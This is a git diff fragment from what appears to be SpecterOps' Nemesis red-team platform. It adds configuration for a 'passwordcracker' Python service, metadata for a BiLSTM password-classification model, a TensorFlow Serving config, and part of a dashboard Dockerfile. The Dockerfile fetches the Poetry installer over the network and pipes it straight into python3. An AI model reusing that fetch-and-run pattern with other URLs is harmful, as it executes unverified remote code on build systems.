+ {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"},
+ {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"},
+ {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"},
+ {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"},
+ {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"},
+ {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"},
+ {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"},
+]
+
+[package.dependencies]
+idna = ">=2.0"
+multidict = ">=4.0"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.11.2"
+content-hash = "871ae040bdae08aebbc5afc4ce075f437cbcefbcd50ee691fc54a6920b6e1032"
diff --git a/cmd/passwordcracker/poetry.toml b/cmd/passwordcracker/poetry.toml
new file mode 100644
index 0000000..be97f1e
--- /dev/null
+++ b/cmd/passwordcracker/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
\ No newline at end of file
diff --git a/cmd/passwordcracker/pyproject.toml b/cmd/passwordcracker/pyproject.toml
new file mode 100644
index 0000000..bdc53fd
--- /dev/null
+++ b/cmd/passwordcracker/pyproject.toml
@@ -0,0 +1,94 @@
+[tool.poetry]
+name = "passwordcracker"
+version = "0.1.0"
+description = ""
+authors = ["SpecterOps "]
+packages = [{ include = "passwordcracker" }]
+
+[tool.poetry.scripts]
+app = "passwordcracker.__main__:main"
+
+[tool.poetry.dependencies]
+python = "^3.11.2"
+protobuf = "^4.21.5"
+types-protobuf = "^3.20.0"
+typing-extensions = "^4.4.0"
+nemesispb = { path = "../../packages/python/nemesispb", develop = true }
+nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true }
+prometheus-async = { extras = ["aiohttp"], version = "^22.2.0" }
+elasticsearch = "^8.6.2"
+aiohttp = "^3.8.4"
+httpx = "^0.23.3"
+asyncpg = "^0.27.0"
+winacl = "^0.1.7"
+jsonlines = "^3.1.0"
+aioboto3 = "^10.4.0"
+impacket = "^0.10.0"
+fastapi = "^0.82.0"
+fastapi-class = "^2.0.0"
+uvicorn = { extras = ["standard"], version = "^0.18.3" }
+numpy = "^1.23.2"
+python-magic = "^0.4.27"
+pefile = "^2022.5.30"
+dnfile = "^0.12.0"
+yara-python = "^4.2.3"
+sumy = "^0.10.0"
+nltk = "^3.7"
+olefile = "^0.46"
+binaryornot = "^0.4.4"
+lief = "^0.12.1"
+py7zr = "^0.20.4"
+pypdf = "^3.5.2"
+colorama = "^0.4.6"
+python-multipart = "^0.0.6"
+rich = "^13.3.3"
+structlog = "^23.1.0"
+dependency-injector = "^4.41.0"
+
+[tool.poetry.dev-dependencies]
+pytest = "^7.1.2"
+black = "^22.6.0"
+flake8 = "^5.0.4"
+mypy = "^0.971"
+
+[tool.poetry.group.dev.dependencies]
+pytest-asyncio = "^0.20.3"
+pytest-mock = "^3.10.0"
+bandit = "^1.7.5"
+pyright = "^1.1.302"
+asyncpg-stubs = "^0.27.0"
+flake8-cognitive-complexity = "^0.1.0"
+debugpy = "^1.6.7"
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+# [tool.pyright]
+# Using pyrightconfig.json instead since pyproject.toml has 2nd class
+# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235
+
+[tool.black]
+line-length = 240
diff --git a/cmd/passwordcracker/pyrightconfig.json b/cmd/passwordcracker/pyrightconfig.json
new file mode 100644
index 0000000..102e0c9
--- /dev/null
+++ b/cmd/passwordcracker/pyrightconfig.json
@@ -0,0 +1,40 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
+ "enrichment/lib/ext_tools/*",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [
+ "enrichment/lib/ext_tools"
+ ],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/cmd/passwordcracker/pytest.ini b/cmd/passwordcracker/pytest.ini
new file mode 100644
index 0000000..a318d22
--- /dev/null
+++ b/cmd/passwordcracker/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+minversion = 6.0
+asyncio_mode = auto
+addopts = -ra -q
+testpaths =
+ tests
diff --git a/cmd/passwordcracker/tests/__init__.py b/cmd/passwordcracker/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb b/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb
new file mode 100644
index 0000000..19dc141
--- /dev/null
+++ b/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb
@@ -0,0 +1,22 @@
+
+Ň7root"_tf_keras_sequential*7{"name": "sequential", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "must_restore_from_config": false, "class_name": "Sequential", "config": {"name": "sequential", "layers": [{"class_name": "InputLayer", "config": {"batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "sparse": false, "ragged": false, "name": "embedding_input"}}, {"class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}}, {"class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}}, "merge_mode": "concat"}}, {"class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}}, {"class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}}, "bias_initializer": {"class_name": "Zeros", "config": {}}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}}]}, "shared_object_id": 13, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, 32]}, "ndim": 2, "max_ndim": null, "min_ndim": null, "axes": {}}}], "build_input_shape": {"class_name": "TensorShape", "items": [null, 32]}, "is_graph_network": true, "full_save_spec": {"class_name": "__tuple__", "items": [[{"class_name": "TypeSpec", "type_spec": "tf.TensorSpec", "serialized": [{"class_name": "TensorShape", "items": [null, 32]}, "float32", "embedding_input"]}], {}]}, "save_spec": {"class_name": "TypeSpec", "type_spec": "tf.TensorSpec", "serialized": [{"class_name": "TensorShape", "items": [null, 32]}, "float32", "embedding_input"]}, "keras_version": "2.7.0", "backend": "tensorflow", "model_config": {"class_name": "Sequential", "config": {"name": "sequential", "layers": [{"class_name": "InputLayer", "config": {"batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "sparse": false, "ragged": false, "name": "embedding_input"}, "shared_object_id": 0}, {"class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}, "shared_object_id": 1}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}, "shared_object_id": 2}, {"class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 7}, "merge_mode": "concat"}, "shared_object_id": 8}, {"class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}, "shared_object_id": 9}, {"class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 10}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 11}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}, "shared_object_id": 12}]}}, "training_config": {"loss": "binary_crossentropy", "metrics": [[{"class_name": "MeanMetricWrapper", "config": {"name": "accuracy", "dtype": "float32", "fn": "binary_accuracy"}, "shared_object_id": 15}, {"class_name": "FalseNegatives", "config": {"name": "fn", "dtype": "float32", "thresholds": null}, "shared_object_id": 16}, {"class_name": "FalsePositives", "config": {"name": "fp", "dtype": "float32", "thresholds": null}, "shared_object_id": 17}, {"class_name": "TrueNegatives", "config": {"name": "tn", "dtype": "float32", "thresholds": null}, "shared_object_id": 18}, {"class_name": "TruePositives", "config": {"name": "tp", "dtype": "float32", "thresholds": null}, "shared_object_id": 19}, {"class_name": "Precision", "config": {"name": "precision", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 20}, {"class_name": "Recall", "config": {"name": "recall", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 21}]], "weighted_metrics": null, "loss_weights": null, "optimizer_config": {"class_name": "Adam", "config": {"name": "Adam", "learning_rate": 0.0010000000474974513, "decay": 0.0, "beta_1": 0.8999999761581421, "beta_2": 0.9990000128746033, "epsilon": 1e-07, "amsgrad": false}}}}2
+Íroot.layer_with_weights-0"_tf_keras_layer*–{"name": "embedding", "trainable": true, "expects_training_arg": false, "dtype": "float32", "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "stateful": false, "must_restore_from_config": false, "class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}, "shared_object_id": 1}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}, "shared_object_id": 2, "build_input_shape": {"class_name": "TensorShape", "items": [null, 32]}}2
+šroot.layer_with_weights-1"_tf_keras_layer*ă{"name": "bidirectional", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 7}, "merge_mode": "concat"}, "shared_object_id": 8, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": null, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 22}], "build_input_shape": {"class_name": "TensorShape", "items": [null, 32, 20]}}2
+ůroot.layer-2"_tf_keras_layer*Ď{"name": "dropout", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}, "shared_object_id": 9}2
+Čroot.layer_with_weights-2"_tf_keras_layer*‘{"name": "dense", "trainable": true, "expects_training_arg": false, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 10}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 11}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}, "shared_object_id": 12, "input_spec": {"class_name": "InputSpec", "config": {"dtype": null, "shape": null, "ndim": null, "max_ndim": null, "min_ndim": 2, "axes": {"-1": 400}}, "shared_object_id": 23}, "build_input_shape": {"class_name": "TensorShape", "items": [null, 400]}}2
+÷
+'root.layer_with_weights-1.forward_layer"_tf_keras_rnn_layer*®
+{"name": "forward_lstm", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTM", "config": {"name": "forward_lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 24}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 25}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 26}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 28, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, null, 20]}, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 29}]}2
+ů
+(root.layer_with_weights-1.backward_layer"_tf_keras_rnn_layer*Ż
+{"name": "backward_lstm", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTM", "config": {"name": "backward_lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": true, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 30}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 31}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 32}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 34, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, null, 20]}, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 35}]}2
+ţ5,root.layer_with_weights-1.forward_layer.cell"_tf_keras_layer*´{"name": "lstm_cell_1", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTMCell", "config": {"name": "lstm_cell_1", "trainable": true, "dtype": "float32", "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 24}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 25}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 26}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 27}2
+˙;-root.layer_with_weights-1.backward_layer.cell"_tf_keras_layer*´{"name": "lstm_cell_2", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTMCell", "config": {"name": "lstm_cell_2", "trainable": true, "dtype": "float32", "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 30}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 31}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 32}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 33}2
+ąProot.keras_api.metrics.0"_tf_keras_metric*‚{"class_name": "Mean", "name": "loss", "dtype": "float32", "config": {"name": "loss", "dtype": "float32"}, "shared_object_id": 36}2
+çQroot.keras_api.metrics.1"_tf_keras_metric*°{"class_name": "MeanMetricWrapper", "name": "accuracy", "dtype": "float32", "config": {"name": "accuracy", "dtype": "float32", "fn": "binary_accuracy"}, "shared_object_id": 15}2
+ÓRroot.keras_api.metrics.2"_tf_keras_metric*ś{"class_name": "FalseNegatives", "name": "fn", "dtype": "float32", "config": {"name": "fn", "dtype": "float32", "thresholds": null}, "shared_object_id": 16}2
+ÓSroot.keras_api.metrics.3"_tf_keras_metric*ś{"class_name": "FalsePositives", "name": "fp", "dtype": "float32", "config": {"name": "fp", "dtype": "float32", "thresholds": null}, "shared_object_id": 17}2
+ŇTroot.keras_api.metrics.4"_tf_keras_metric*›{"class_name": "TrueNegatives", "name": "tn", "dtype": "float32", "config": {"name": "tn", "dtype": "float32", "thresholds": null}, "shared_object_id": 18}2
+ŇUroot.keras_api.metrics.5"_tf_keras_metric*›{"class_name": "TruePositives", "name": "tp", "dtype": "float32", "config": {"name": "tp", "dtype": "float32", "thresholds": null}, "shared_object_id": 19}2
+ýVroot.keras_api.metrics.6"_tf_keras_metric*Ć{"class_name": "Precision", "name": "precision", "dtype": "float32", "config": {"name": "precision", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 20}2
+ôWroot.keras_api.metrics.7"_tf_keras_metric*˝{"class_name": "Recall", "name": "recall", "dtype": "float32", "config": {"name": "recall", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 21}2
\ No newline at end of file
diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb b/cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb
new file mode 100644
index 0000000..10d763e
Binary files /dev/null and b/cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb differ
diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.data-00000-of-00001 b/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.data-00000-of-00001
new file mode 100644
index 0000000..4292a0b
Binary files /dev/null and b/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.data-00000-of-00001 differ
diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.index b/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.index
new file mode 100644
index 0000000..25bb58f
Binary files /dev/null and b/cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.index differ
diff --git a/cmd/tensorflow-serving/models/models.config b/cmd/tensorflow-serving/models/models.config
new file mode 100644
index 0000000..08a6e23
--- /dev/null
+++ b/cmd/tensorflow-serving/models/models.config
@@ -0,0 +1,7 @@
+model_config_list: {
+ config: {
+ name: "password",
+ base_path: "/models/bilstm_model",
+ model_platform: "tensorflow"
+ }
+}
\ No newline at end of file
diff --git a/dockerfiles/dashboard.Dockerfile b/dockerfiles/dashboard.Dockerfile
new file mode 100644
index 0000000..6bc54ae
--- /dev/null
+++ b/dockerfiles/dashboard.Dockerfile
@@ -0,0 +1,53 @@
+####################################
+# Common python dependencies layer
+####################################
+FROM python:3.11.2-bullseye AS debcommon
+WORKDIR /app/cmd/dashboard
+
+ENV PYTHONUNBUFFERED=true
+
+
+####################################
+# OS dependencies
+####################################
+FROM debcommon AS dependencies-os
+
+# install our necessary dependencies
+RUN apt-get update -y
+
+
+####################################
+# Python dependencies
+####################################
+FROM dependencies-os AS dependencies-python
+
+ARG ENVIRONMENT=dev
+ENV POETRY_HOME=/opt/poetry
+ENV POETRY_VIRTUALENVS_IN_PROJECT=true
+ENV PATH="$POETRY_HOME/bin:$PATH"
+
+# install Poetry
+RUN python3 -c 'from urllib.request import urlopen; print(urlopen("https://install.python-poetry.org").read().decode())' | python3 -
+
+# The next two commands should always be by each other
+# Use Poetry to install the local packages only when the lock file changes
+COPY cmd/dashboard/poetry.lock cmd/dashboard/pyproject.toml ./
